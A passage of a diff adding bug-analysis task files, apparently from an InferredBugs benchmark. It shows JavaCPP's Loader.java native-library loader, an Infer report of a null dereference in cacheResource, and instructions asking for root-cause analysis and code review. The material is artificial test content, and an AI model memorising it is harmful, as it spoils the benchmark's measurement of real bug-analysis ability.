+import java.util.WeakHashMap;
+import java.util.jar.JarEntry;
+import java.util.jar.JarFile;
+import org.bytedeco.javacpp.annotation.Platform;
+import org.bytedeco.javacpp.tools.Builder;
+import org.bytedeco.javacpp.tools.Logger;
+
+/**
+ * The Loader contains functionality to load native libraries, but also has a bit
+ * of everything that does not fit anywhere else. In addition to its library loading
+ * features, it also has utility methods to get the platform name, to load properties
+ * from Java resources and from Class annotations, to extract file resources to the
+ * temporary directory, and to get the {@code offsetof()} or {@code sizeof()} a native
+ * {@code struct}, {@code class}, or {@code union} with its {@link Pointer} peer class
+ * and a {@link HashMap} initialized by the native libraries inside {@code JNI_OnLoad()}.
+ *
+ * @author Samuel Audet
+ */
+public class Loader {
+
+    private static final Logger logger = Logger.create(Loader.class);
+
+    /** Value created out of "java.vm.name", "os.name", and "os.arch" system properties.
+     *  Returned by {@link #getPlatform()} as default. */
+    private static final String PLATFORM;
+    /** Default platform properties loaded and returned by {@link #loadProperties()}. */
+    private static Properties platformProperties = null;
+
+    static {
+        String jvmName = System.getProperty("java.vm.name", "").toLowerCase();
+        String osName  = System.getProperty("os.name", "").toLowerCase();
+        String osArch  = System.getProperty("os.arch", "").toLowerCase();
+        String abiType = System.getProperty("sun.arch.abi", "").toLowerCase();
+        String libPath = System.getProperty("sun.boot.library.path", "").toLowerCase();
+        if (jvmName.startsWith("dalvik") && osName.startsWith("linux")) {
+            osName = "android";
+        } else if (jvmName.startsWith("robovm") && osName.startsWith("darwin")) {
+            osName = "ios";
+            osArch = "arm";
+        } else if (osName.startsWith("mac os x") || osName.startsWith("darwin")) {
+            osName = "macosx";
+        } else {
+            int spaceIndex = osName.indexOf(' ');
+            if (spaceIndex > 0) {
+                osName = osName.substring(0, spaceIndex);
+            }
+        }
+        if (osArch.equals("i386") || osArch.equals("i486") || osArch.equals("i586") || osArch.equals("i686")) {
+            osArch = "x86";
+        } else if (osArch.equals("amd64") || osArch.equals("x86-64") || osArch.equals("x64")) {
+            osArch = "x86_64";
+        } else if (osArch.startsWith("aarch64") || osArch.startsWith("armv8") || osArch.startsWith("arm64")) {
+            osArch = "arm64";
+        } else if ((osArch.startsWith("arm")) && ((abiType.equals("gnueabihf")) || (libPath.contains("openjdk-armhf")))) {
+            osArch = "armhf";
+        } else if (osArch.startsWith("arm")) {
+            osArch = "arm";
+        }
+        PLATFORM = osName + "-" + osArch;
+    }
+
+    /**
+     * Returns either the value of the "org.bytedeco.javacpp.platform"
+     * system property, or {@link #PLATFORM} when the former is not set.
+     *
+     * @return {@code System.getProperty("org.bytedeco.javacpp.platform", platform)}
+     * @see #PLATFORM
+     */
+    public static String getPlatform() {
+        return System.getProperty("org.bytedeco.javacpp.platform", PLATFORM);
+    }
+
+    /**
+     * Loads the {@link Properties} associated with the default {@link #getPlatform()}.
+     *
+     * @return {@code loadProperties(getPlatform(), null)}
+     * @see #loadProperties(String, String)
+     */
+    public static Properties loadProperties() {
+        String name = getPlatform();
+        if (platformProperties != null && name.equals(platformProperties.getProperty("platform"))) {
+            return platformProperties;
+        }
+        return platformProperties = loadProperties(name, null);
+    }
+    /**
+     * Loads from resources the default {@link Properties} of the specified platform name.
+     * The resource must be at {@code "org/bytedeco/javacpp/properties/" + name + ".properties"}.
+     *
+     * @param name the platform name
+     * @param defaults the fallback platform name (null == "generic")
+     * @return the Properties from resources
+     */
+    public static Properties loadProperties(String name, String defaults) {
+        if (defaults == null) {
+            defaults = "generic";
+        }
+        Properties p = new Properties();
+        p.put("platform", name);
+        p.put("platform.path.separator", File.pathSeparator);
+        String s = System.mapLibraryName("/");
+        int i = s.indexOf('/');
+        p.put("platform.library.prefix", s.substring(0, i));
+        p.put("platform.library.suffix", s.substring(i + 1));
+        name = "properties/" + name + ".properties";
+        InputStream is = Loader.class.getResourceAsStream(name);
+        try {
+            try {
+                p.load(new InputStreamReader(is));
+            } catch (NoSuchMethodError e) {
+                p.load(is);
+            }
+        } catch (Exception e) {
+            name = "properties/" + defaults + ".properties";
+            InputStream is2 = Loader.class.getResourceAsStream(name);
+            try {
+                try {
+                    p.load(new InputStreamReader(is2));
+                } catch (NoSuchMethodError e2) {
+                    p.load(is2);
+                }
+            } catch (Exception e2) {
+                // give up and return defaults
+            } finally {
+                try {
+                    if (is2 != null) {
+                        is2.close();
+                    }
+                } catch (IOException ex) {
+                    logger.error("Unable to close resource : " + ex.getMessage());
+                }
+            }
+        } finally {
+            try {
+                if (is != null) {
+                    is.close();
+                }
+            } catch (IOException ex) {
+                logger.error("Unable to close resource : " + ex.getMessage());
+            }
+        }
+        return p;
+    }
+
+    /**
+     * If annotated with properties, returns the argument as "enclosing Class".
+     * If no properties are found on the Class, makes a search for the first Class
+     * with properties that we can use, and returns it as the enclosing Class found.
+     *
+     * @param cls the Class to start the search from
+     * @return the enclosing Class
+     * @see org.bytedeco.javacpp.annotation.Platform
+     * @see org.bytedeco.javacpp.annotation.Properties
+     */
+    public static Class getEnclosingClass(Class cls) {
+        Class<?> c = cls;
+        // Find first enclosing declaring class with some properties to use
+        while (c.getDeclaringClass() != null) {
+            if (c.isAnnotationPresent(org.bytedeco.javacpp.annotation.Properties.class)) {
+                break;
+            }
+            if (c.isAnnotationPresent(Platform.class)) {
+                Platform p = c.getAnnotation(Platform.class);
+                if (p.pragma().length > 0 || p.define().length > 0 || p.include().length > 0 || p.cinclude().length > 0 ||
+                        p.includepath().length > 0 || p.compiler().length > 0 || p.linkpath().length > 0 ||
+                        p.link().length > 0 || p.frameworkpath().length > 0 || p.framework().length > 0 ||
+                        p.preloadpath().length > 0 || p.preload().length > 0 || p.library().length() > 0) {
+                    break;
+                }
+            }
+            c = c.getDeclaringClass();
+        }
+        return c;
+    }
+
+
+    /**
+     * For all the classes, loads all properties from each Class annotations for the given platform.
+     * @see #loadProperties(Class, java.util.Properties, boolean)
+     */
+    public static ClassProperties loadProperties(Class[] cls, Properties properties, boolean inherit) {
+        ClassProperties cp = new ClassProperties(properties);
+        for (Class c : cls) {
+            cp.load(c, inherit);
+        }
+        return cp;
+    }
+    /**
+     * Loads all properties from Class annotations for the given platform. The platform
+     * of interest needs to be specified as the value of the "platform" key in the
+     * properties argument. It is also possible to indicate whether to load all the classes
+     * specified in the {@link org.bytedeco.javacpp.annotation.Properties#inherit()}
+     * annotation recursively via the inherit argument.
+     *
+     * @param cls the Class of which to return Properties
+     * @param properties the platform Properties to inherit
+     * @param inherit indicates whether or not to inherit properties from other classes
+     * @return all the properties associated with the Class for the given platform
+     */
+    public static ClassProperties loadProperties(Class cls, Properties properties, boolean inherit) {
+        ClassProperties cp = new ClassProperties(properties);
+        cp.load(cls, inherit);
+        return cp;
+    }
+
+    /**
+     * Returns the {@link Class} object that contains a caller's method.
+     *
+     * @param i the offset on the call stack of the method of interest
+     * @return the Class found from the calling context, or {@code null} if not found
+     */
+    public static Class getCallerClass(int i) {
+        Class[] classContext = null;
+        try {
+            new SecurityManager() {
+                @Override public Class[] getClassContext() {
+                    return super.getClassContext();
+                }
+            }.getClassContext();
+        } catch (NoSuchMethodError e) {
+            logger.error("No definition of this method : " + e.getMessage());
+        }
+        if (classContext != null) {
+            for (int j = 0; j < classContext.length; j++) {
+                if (classContext[j] == Loader.class) {
+                    return classContext[i+j];
+                }
+            }
+        } else {
+            // SecurityManager.getClassContext() returns null on Android 4.0
+            try {
+                StackTraceElement[] classNames = Thread.currentThread().getStackTrace();
+                for (int j = 0; j < classNames.length; j++) {
+                    if (Class.forName(classNames[j].getClassName()) == Loader.class) {
+                        return Class.forName(classNames[i+j].getClassName());
+                    }
+                }
+            } catch (ClassNotFoundException e) {
+                logger.error("No definition for the class found : " + e.getMessage());
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Extracts a resource using the {@link ClassLoader} of the caller class,
+     * and returns the cached {@link File}.
+     *
+     * @param name the name of the resource passed to {@link Class#getResource(String)}
+     * @see #cacheResource(Class, String)
+     */
+    public static File cacheResource(String name) throws IOException {
+        Class cls = getCallerClass(2);
+        return cacheResource(cls, name);
+    }
+    /**
+     * Extracts a resource using the {@link ClassLoader} of the specified {@link Class},
+     * and returns the cached {@link File}.
+     *
+     * @param cls the Class from which to load resources
+     * @param name the name of the resource passed to {@link Class#getResource(String)}
+     * @see #cacheResource(URL)
+     */
+    public static File cacheResource(Class cls, String name) throws IOException {
+        return cacheResource(cls.getResource(name));
+    }
+    /** Returns {@code cacheResource(resourceUrl, null)} */
+    public static File cacheResource(URL resourceURL) throws IOException {
+        return cacheResource(resourceURL, null);
+    }
+    /**
+     * Extracts a resource, if the size or last modified timestamp differs from what is in cache,
+     * and returns the cached {@link File}. If target is not null, creates instead a symbolic link
+     * where the resource would have been extracted.
+     *
+     * @param resourceURL the URL of the resource to extract and cache
+     * @param target of the symbolic link to create (must be null to have the resource actually extracted)
+     * @return the File object representing the extracted file from the cache
+     * @throws IOException if fails to extract resource properly
+     * @see #extractResource(URL, File, String, String)
+     * @see #cacheDir
+     */
+    public static File cacheResource(URL resourceURL, String target) throws IOException {
+        // Find appropriate subdirectory in cache for the resource ...
+        File urlFile = new File(resourceURL.getPath());
+        String name = urlFile.getName();
+        long size, timestamp;
+        File cacheSubdir = getCacheDir().getCanonicalFile();
+        URLConnection urlConnection = resourceURL.openConnection();
+        if (urlConnection instanceof JarURLConnection) {
+            JarFile jarFile = ((JarURLConnection)urlConnection).getJarFile();
+            JarEntry jarEntry = ((JarURLConnection)urlConnection).getJarEntry();
+            File jarFileFile = new File(jarFile.getName());
+            File jarEntryFile = new File(jarEntry.getName());
+            size = jarEntry.getSize();
+            timestamp = jarEntry.getTime();
+            cacheSubdir = new File(cacheSubdir, jarFileFile.getName() + File.separator + jarEntryFile.getParent());
+        } else {
+            size = urlFile.length();
+            timestamp = urlFile.lastModified();
+            cacheSubdir = new File(cacheSubdir, name);
+        }
+        if (resourceURL.getRef() != null) {
+            // ... get the URL fragment to let users rename library files ...
+            name = resourceURL.getRef();
+        }
+        // ... then check if it has not already been extracted, and if not ...
+        File file = new File(cacheSubdir, name);
+        if (target != null && target.length() > 0) {
+            // ... create symbolic link to already extracted library or ...
+            try {
+                if (logger.isDebugEnabled()) {
+                    logger.debug("Creating symbolic link to " + target);
+                }
+                Path path = file.toPath(), targetPath = Paths.get(target);
+                if ((!file.exists() || !Files.isSymbolicLink(path))
+                        && targetPath.isAbsolute() && !targetPath.equals(path)) {
+                    file.delete();
+                    Files.createSymbolicLink(path, targetPath);
+                }
+            } catch (IOException e) {
+                // ... (probably an unsupported operation on Windows, but DLLs never need links) ...
+                return null;
+            }
+        } else if (!file.exists() || file.length() != size || file.lastModified() != timestamp
+                    || !cacheSubdir.equals(file.getCanonicalFile().getParentFile())) {
+            // ... then extract it from our resources ...
+            if (logger.isDebugEnabled()) {
+                logger.debug("Extracting " + resourceURL);
+            }
+            file.delete();
+            extractResource(resourceURL, file, null, null);
+            file.setLastModified(timestamp);
+        } else while (System.currentTimeMillis() - file.lastModified() >= 0
+                   && System.currentTimeMillis() - file.lastModified() < 1000) {
+            // ... else wait until the file is at least 1 second old ...
+            try {
+                Thread.sleep(1000);
+            } catch (InterruptedException ex) {
+                // ... and reset interrupt to be nice.
+                Thread.currentThread().interrupt();
+            }
+        }
+        return file;
+    }
+
+    /**
+     * Extracts by name a resource using the {@link ClassLoader} of the caller.
+     *
+     * @param name the name of the resource passed to {@link Class#getResource(String)}
+     * @see #extractResource(URL, File, String, String)
+     */
+    public static File extractResource(String name, File directory,
+            String prefix, String suffix) throws IOException {
+        Class cls = getCallerClass(2);
+        return extractResource(cls, name, directory, prefix, suffix);
+    }
+    /**
+     * Extracts by name a resource using the {@link ClassLoader} of the specified {@link Class}.
+     *
+     * @param cls the Class from which to load resources
+     * @param name the name of the resource passed to {@link Class#getResource(String)}
+     * @see #extractResource(URL, File, String, String)
+     */
+    public static File extractResource(Class cls, String name, File directory,
+            String prefix, String suffix) throws IOException {
+        return extractResource(cls.getResource(name), directory, prefix, suffix);
+    }
+    /**
+     * Extracts a resource into the specified directory and with the specified
+     * prefix and suffix for the filename. If both prefix and suffix are {@code null},
+     * the original filename is used, so directoryOrFile must not be {@code null}.
+     *
+     * @param resourceURL the URL of the resource to extract
+     * @param directoryOrFile the output directory or file ({@code null == System.getProperty("java.io.tmpdir")})
+     * @param prefix the prefix of the temporary filename to use
+     * @param suffix the suffix of the temporary filename to use
+     * @return the File object representing the extracted file
+     * @throws IOException if fails to extract resource properly
+     */
+    public static File extractResource(URL resourceURL, File directoryOrFile,
+            String prefix, String suffix) throws IOException {
+        InputStream is = resourceURL != null ? resourceURL.openStream() : null;
+        OutputStream os = null;
+        if (is == null) {
+            return null;
+        }
+        File file = null;
+        boolean fileExisted = false;
+        try {
+            if (prefix == null && suffix == null) {
+                if (directoryOrFile == null) {
+                    directoryOrFile = new File(System.getProperty("java.io.tmpdir"));
+                }
+                File directory;
+                if (directoryOrFile.isDirectory()) {
+                    directory = directoryOrFile;
+                    file = new File(directoryOrFile, new File(resourceURL.getPath()).getName());
+                } else {
+                    directory = directoryOrFile.getParentFile();
+                    file = directoryOrFile;
+                }
+                if (directory != null) {
+                    directory.mkdirs();
+                }
+                fileExisted = file.exists();
+            } else {
+                file = File.createTempFile(prefix, suffix, directoryOrFile);
+            }
+            os = new FileOutputStream(file);
+            byte[] buffer = new byte[1024];
+            int length;
+            while ((length = is.read(buffer)) != -1) {
+                os.write(buffer, 0, length);
+            }
+            is.close();
+            os.close();
+        } catch (IOException e) {
+            if (file != null && !fileExisted) {
+                file.delete();
+            }
+            throw e;
+        } finally {
+            is.close();
+            if (os != null) {
+                os.close();
+            }
+        }
+        return file;
+    }
+
+    /** User-specified cache directory set and returned by {@link #getCacheDir()}. */
+    static File cacheDir = null;
+    /** Temporary directory set and returned by {@link #getTempDir()}. */
+    static File tempDir = null;
+    /** Contains all the native libraries that we have loaded to avoid reloading them. */
+    static Map<String,String> loadedLibraries = Collections.synchronizedMap(new HashMap<String,String>());
+
+    /** Creates and returns {@code System.getProperty("org.bytedeco.javacpp.cachedir")} or {@code ~/.javacpp/cache/} when not set. */
+    public static File getCacheDir() {
+        if (cacheDir == null) {
+            String dirName = System.getProperty("org.bytedeco.javacpp.cachedir", System.getProperty("user.home") + "/.javacpp/cache/");
+            if (dirName != null) {
+                File f = new File(dirName);
+                if (f.exists() || f.mkdirs()) {
+                    cacheDir = f;
+                }
+            }
+        }
+        return cacheDir;
+    }
+
+    /**
+     * Creates a unique name for {@link #tempDir} out of
+     * {@code System.getProperty("java.io.tmpdir")} and {@code System.nanoTime()}.
+     *
+     * @return {@link #tempDir}
+     */
+    public static File getTempDir() {
+        if (tempDir == null) {
+            File tmpdir = new File(System.getProperty("java.io.tmpdir"));
+            File f;
+            for (int i = 0; i < 1000; i++) {
+                f = new File(tmpdir, "javacpp" + System.nanoTime());
+                if (f.mkdir()) {
+                    tempDir = f;
+                    tempDir.deleteOnExit();
+                    break;
+                }
+            }
+        }
+        return tempDir;
+    }
+
+    /** Returns {@code System.getProperty("org.bytedeco.javacpp.loadlibraries")}.
+     *  Flag set by the {@link Builder} to tell us not to try to load anything. */
+    public static boolean isLoadLibraries() {
+        String s = System.getProperty("org.bytedeco.javacpp.loadlibraries", "true").toLowerCase();
+        return s.equals("true") || s.equals("t") || s.equals("");
+    }
+
+    /** Returns {@code load(getCallerClass(2), loadProperties(), false)}. */
+    public static String load() {
+        return load(getCallerClass(2), loadProperties(), false);
+    }
+    /**
+     * Loads native libraries associated with the {@link Class} of the caller.
+     *
+     * @param pathsFirst search the paths first before bundled resources
+     * @return {@code load(getCallerClass(2), loadProperties(), pathsFirst) }
+     * @see #getCallerClass(int)
+     * @see #load(Class, Properties, boolean)
+     */
+    public static String load(boolean pathsFirst) {
+        Class cls = getCallerClass(2);
+        return load(cls, loadProperties(), pathsFirst);
+    }
+    /** Returns {@code load(cls, loadProperties(), false)}. */
+    public static String load(Class cls) {
+        return load(cls, loadProperties(), false);
+    }
+    /**
+     * Loads native libraries associated with the given {@link Class}.
+     *
+     * @param cls the Class to get native library information from
+     * @param properties the platform Properties to inherit
+     * @param pathsFirst search the paths first before bundled resources
+     * @return the full path to the main file loaded, or the library name if unknown
+     *         (but {@code if (!isLoadLibraries() || cls == null) { return null; }})
+     * @throws NoClassDefFoundError on Class initialization failure
+     * @throws UnsatisfiedLinkError on native library loading failure
+     * @see #findLibrary(Class, ClassProperties, String, boolean)
+     * @see #loadLibrary(URL[], String)
+     */
+    public static String load(Class cls, Properties properties, boolean pathsFirst) {
+        if (!isLoadLibraries() || cls == null) {
+            return null;
+        }
+
+        // Find the top enclosing class, to match the library filename
+        cls = getEnclosingClass(cls);
+        ClassProperties p = loadProperties(cls, properties, true);
+
+        // Force initialization of all the target classes in case they need it
+        List<String> targets = p.get("target");
+        if (targets.isEmpty()) {
+            if (p.getInheritedClasses() != null) {
+                for (Class c : p.getInheritedClasses()) {
+                    targets.add(c.getName());
+                }
+            }
+            targets.add(cls.getName());
+        }
+        for (String s : targets) {
+            try {
+                if (logger.isDebugEnabled()) {
+                    logger.debug("Loading class " + s);
+                }
+                Class.forName(s, true, cls.getClassLoader());
+            } catch (ClassNotFoundException ex) {
+                if (logger.isDebugEnabled()) {
+                    logger.debug("Failed to load class " + s + ": " + ex);
+                }
+                Error e = new NoClassDefFoundError(ex.toString());
+                e.initCause(ex);
+                throw e;
+            }
+        }
+
+        // Preload native libraries desired by our class
+        List<String> preloads = new ArrayList<String>();
+        preloads.addAll(p.get("platform.preload"));
+        preloads.addAll(p.get("platform.link"));
+        UnsatisfiedLinkError preloadError = null;
+        for (String preload : preloads) {
+            try {
+                URL[] urls = findLibrary(cls, p, preload, pathsFirst);
+                loadLibrary(urls, preload);
+            } catch (UnsatisfiedLinkError e) {
+                preloadError = e;
+            }
+        }
+
+        try {
+            String library = p.getProperty("platform.library");
+            URL[] urls = findLibrary(cls, p, library, pathsFirst);
+            return loadLibrary(urls, library);
+        } catch (UnsatisfiedLinkError e) {
+            if (preloadError != null && e.getCause() == null) {
+                e.initCause(preloadError);
+            }
+            throw e;
+        }
+    }
+
+    /**
+     * Finds from where the library may be extracted and loaded among the {@link Class}
+     * resources. But in case that fails, and depending on the value of {@code pathsFirst},
+     * either as a fallback or in priority over bundled resources, also searches the paths
+     * found in the "platform.preloadpath" and "platform.linkpath" class properties as well as
+     * the "java.library.path" system property, in that order.
+     *
+     * @param cls the Class whose package name and {@link ClassLoader} are used to extract from resources
+     * @param properties contains the directories to scan for if we fail to extract the library from resources
+     * @param libnameversion the name of the library + "@" + optional version tag
+     *                       + "#" + a second optional name used at extraction (or empty to prevent it)
+     * @param pathsFirst search the paths first before bundled resources
+     * @return URLs that point to potential locations of the library
+     */
+    public static URL[] findLibrary(Class cls, ClassProperties properties, String libnameversion, boolean pathsFirst) {
+        if (libnameversion.trim().endsWith("#")) {
+            return new URL[0];
+        }
+        String[] split = libnameversion.split("#");
+        String[] s = split[0].split("@");
+        String[] s2 = (split.length > 1 ? split[1] : split[0]).split("@");
+        String libname = s[0];
+        String libname2 = s2[0];
+        String version = s.length > 1 ? s[s.length-1] : "";
+        String version2 = s2.length > 1 ? s2[s2.length-1] : "";
+
+        // If we do not already have the native library file ...
+        String subdir = properties.getProperty("platform") + '/';
+        String prefix = properties.getProperty("platform.library.prefix", "");
+        String suffix = properties.getProperty("platform.library.suffix", "");
+        String[] styles = {
+            prefix + libname + suffix + version, // Linux style
+            prefix + libname + version + suffix, // Mac OS X style
+            prefix + libname + suffix            // without version
+        };
+        String[] styles2 = {
+            prefix + libname2 + suffix + version2, // Linux style
+            prefix + libname2 + version2 + suffix, // Mac OS X style
+            prefix + libname2 + suffix             // without version
+        };
+
+        String[] suffixes = properties.get("platform.library.suffix").toArray(new String[0]);
+        if (suffixes.length > 1) {
+            styles = new String[3 * suffixes.length];
+            styles2 = new String[3 * suffixes.length];
+            for (int i = 0; i < suffixes.length; i++) {
+                styles[3 * i    ] = prefix + libname + suffixes[i] + version; // Linux style
+                styles[3 * i + 1] = prefix + libname + version + suffixes[i]; // Mac OS X style
+                styles[3 * i + 2] = prefix + libname + suffixes[i];           // without version
+                styles2[3 * i    ] = prefix + libname2 + suffixes[i] + version2; // Linux style
+                styles2[3 * i + 1] = prefix + libname2 + version2 + suffixes[i]; // Mac OS X style
+                styles2[3 * i + 2] = prefix + libname2 + suffixes[i];            // without version
+            }
+        }
+
+        List<String> paths = new ArrayList<String>();
+        paths.addAll(properties.get("platform.preloadpath"));
+        paths.addAll(properties.get("platform.linkpath"));
+        String libpath = System.getProperty("java.library.path", "");
+        if (libpath.length() > 0) {
+            paths.addAll(Arrays.asList(libpath.split(File.pathSeparator)));
+        }
+        ArrayList<URL> urls = new ArrayList<URL>(styles.length * (1 + paths.size()));
+        for (int i = 0; cls != null && i < styles.length; i++) {
+            // ... then find it from in our resources ...
+            URL u = cls.getResource(subdir + styles[i]);
+            if (u != null) {
+                if (!styles[i].equals(styles2[i])) {
+                    try {
+                        u = new URL(u + "#" + styles2[i]);
+                    } catch (MalformedURLException e) {
+                        throw new RuntimeException(e);
+                    }
+                }
+                urls.add(u);
+            }
+        }
+        // ... and in case of bad resources search the paths last, or first on user request.
+        int k = pathsFirst ? 0 : urls.size();
+        for (int i = 0; paths.size() > 0 && i < styles.length; i++) {
+            for (String path : paths) {
+                File file = new File(path, styles[i]);
+                if (file.exists()) {
+                    try {
+                        URL u = file.toURI().toURL();
+                        if (!styles[i].equals(styles2[i])) {
+                            u = new URL(u + "#" + styles2[i]);
+                        }
+                        urls.add(k++, u);
+                    } catch (MalformedURLException ex) {
+                        throw new RuntimeException(ex);
+                    }
+                }
+            }
+        }
+        return urls.toArray(new URL[urls.size()]);
+    }
+
+    /**
+     * Tries to load the library from the URLs in order, extracting resources as necessary.
+     * Finally, if all fails, falls back on {@link System#loadLibrary(String)}.
+     *
+     * @param urls the URLs to try loading the library from
+     * @param libnameversion the name of the library + "@" + optional version tag
+     *                       + "#" + a second optional name used at extraction
+     * @return the full path of the file loaded, or the library name if unknown
+     *         (but {@code if (!isLoadLibraries) { return null; }})
+     * @throws UnsatisfiedLinkError on failure
+     */
+    public static String loadLibrary(URL[] urls, String libnameversion) {
+        if (!isLoadLibraries()) {
+            return null;
+        }
+        String[] split = libnameversion.split("#");
+        String libnameversion2 = split[0];
+        if (split.length > 1) {
+            libnameversion2 = split[1];
+        }
+
+        // If we do not already have the native library file ...
+        String filename = loadedLibraries.get(libnameversion2);
+        UnsatisfiedLinkError loadError = null;
+        try {
+            for (URL url : urls) {
+                URI uri = url.toURI();
+                File file;
+                try {
+                    // ... and if the URL is not already a file without fragments, etc ...
+                    file = new File(uri);
+                } catch (Exception exc) {
+                    try {
+                        file = new File(uri.getPath());
+                        if (file.exists()) {
+                            // ... else preload it as some libraries do not like being renamed ...
+                            String filename2 = file.getAbsolutePath();
+                            if (logger.isDebugEnabled()) {
+                                logger.debug("Preloading " + filename2);
+                            }
+                            try {
+                                System.load(filename2);
+                            } catch (UnsatisfiedLinkError e) {
+                                if (logger.isDebugEnabled()) {
+                                    logger.debug("Failed to preload " + filename2 + ": " + e);
+                                }
+                            }
+                        }
+                    } catch (Exception exc2) {
+                        /// ... or give up and ...
+                    }
+                    // ... extract it from resources into the cache, if necessary ...
+                    file = cacheResource(url, filename);
+                }
+                if (filename != null) {
+                    return filename;
+                } else if (file != null && file.exists()) {
+                    String filename2 = file.getAbsolutePath();
+                    try {
+                        // ... and load it!
+                        if (logger.isDebugEnabled()) {
+                            logger.debug("Loading " + filename2);
+                        }
+                        loadedLibraries.put(libnameversion2, filename2);
+                        System.load(filename2);
+                        return filename2;
+                    } catch (UnsatisfiedLinkError e) {
+                        loadError = e;
+                        loadedLibraries.remove(libnameversion2);
+                        if (logger.isDebugEnabled()) {
+                            logger.debug("Failed to load " + filename2 + ": " + e);
+                        }
+                    }
+                }
+            }
+            if (filename != null) {
+                return filename;
+            } else {
+                // ... or as last resort, try to load it via the system.
+                String libname = libnameversion.split("#")[0].split("@")[0];
+                if (logger.isDebugEnabled()) {
+                    logger.debug("Loading library " + libname);
+                }
+                loadedLibraries.put(libnameversion2, libname);
+                System.loadLibrary(libname);
+                return libname;
+            }
+        } catch (UnsatisfiedLinkError e) {
+            loadedLibraries.remove(libnameversion2);
+            if (loadError != null && e.getCause() == null) {
+                e.initCause(loadError);
+            }
+            if (logger.isDebugEnabled()) {
+                logger.debug("Failed to load for " + libnameversion + ": " + e);
+            }
+            throw e;
+        } catch (IOException | URISyntaxException ex) {
+            loadedLibraries.remove(libnameversion2);
+            if (loadError != null && ex.getCause() == null) {
+                ex.initCause(loadError);
+            }
+            Error e = new UnsatisfiedLinkError(ex.toString());
+            e.initCause(ex);
+            if (logger.isDebugEnabled()) {
+                logger.debug("Failed to extract for " + libnameversion + ": " + e);
+            }
+            throw e;
+        }
+    }
+
+    /**
+     * Contains {@code offsetof()} and {@code sizeof()} values of native types
+     * of {@code struct}, {@code class}, and {@code union}. A {@link WeakHashMap}
+     * is used to prevent the Loader from hanging onto Class objects the user may
+     * be trying to unload.
+     */
+    static WeakHashMap<Class<? extends Pointer>,HashMap<String,Integer>> memberOffsets =
+            new WeakHashMap<Class<? extends Pointer>,HashMap<String,Integer>>();
+
+    /**
+     * Called by native libraries to put {@code offsetof()} and {@code sizeof()} values in {@link #memberOffsets}.
+     * Tries to load the Class object for typeName using the {@link ClassLoader} of the Loader.
+     *
+     * @param typeName the name of the peer Class acting as interface to the native type
+     * @param member the name of the native member variable (can be null to retrieve the Class object only)
+     * @param offset the value of {@code offsetof()} (or {@code sizeof()} when {@code member.equals("sizeof")})
+     * @return {@code Class.forName(typeName, false)}
+     * @throws ClassNotFoundException on Class initialization failure
+     */
+    static Class putMemberOffset(String typeName, String member, int offset) throws ClassNotFoundException {
+        Class<?> c = Class.forName(typeName.replace('/', '.'), false, Loader.class.getClassLoader());
+        if (member != null) {
+            putMemberOffset(c.asSubclass(Pointer.class), member, offset);
+        }
+        return c;
+    }
+    /**
+     * Called by native libraries to put {@code offsetof()} and {@code sizeof()} values in {@link #memberOffsets}.
+     *
+     * @param type the peer Class acting as interface to the native type
+     * @param member the name of the native member variable
+     * @param offset the value of {@code offsetof()} (or {@code sizeof()} when {@code member.equals("sizeof")})
+     */
+    static synchronized void putMemberOffset(Class<? extends Pointer> type, String member, int offset) {
+        HashMap<String,Integer> offsets = memberOffsets.get(type);
+        if (offsets == null) {
+            memberOffsets.put(type, offsets = new HashMap<String,Integer>());
+        }
+        offsets.put(member, offset);
+    }
+
+    /**
+     * Gets {@code offsetof()} values from {@link #memberOffsets} filled by native libraries.
+     *
+     * @param type the peer Class acting as interface to the native type
+     * @param member the name of the native member variable
+     * @return {@code memberOffsets.get(type).get(member)}
+     */
+    public static int offsetof(Class<? extends Pointer> type, String member) {
+        // Should we synchronize that?
+        return memberOffsets.get(type).get(member);
+    }
+
+    /**
+     * Gets {@code sizeof()} values from {@link #memberOffsets} filled by native libraries.
+     *
+     * @param type the peer Class acting as interface to the native type
+     * @return {@code memberOffsets.get(type).get("sizeof")}
+     */
+    public static int sizeof(Class<? extends Pointer> type) {
+        // Should we synchronize that?
+        return memberOffsets.get(type).get("sizeof");
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getCacheDir()` could be null and is dereferenced at line 334.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+File Loader.cacheResource(URL,String)
+
+### Procedure Id:
+org.bytedeco.javacpp.Loader.cacheResource(java.net.URL,java.lang.String):java.io.File.1db15ef41d1c8fd0fba2a3808458641b
+
+### File:
+src/main/java/org/bytedeco/javacpp/Loader.java
+
+### Key:
+Loader.java|cacheResource|NULL_DEREFERENCE
+
+### Node Key:
+3136f63d7119a7aa69484bac205f617e
+
+### Hash:
+05c6bfc6feb2d3dfcf91ac8ac1b0d013
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9289/instruction.md b/inferredbugs-9289/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..118fc20e35af24adfbadc857522370c46a8221ba
--- /dev/null
+++ b/inferredbugs-9289/instruction.md
@@ -0,0 +1,794 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** javacpp
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (C) 2011,2012,2013 Samuel Audet
+ *
+ * This file is part of JavaCPP.
+ *
+ * JavaCPP is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version (subject to the "Classpath" exception
+ * as provided in the LICENSE.txt file that accompanied this code).
+ *
+ * JavaCPP is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
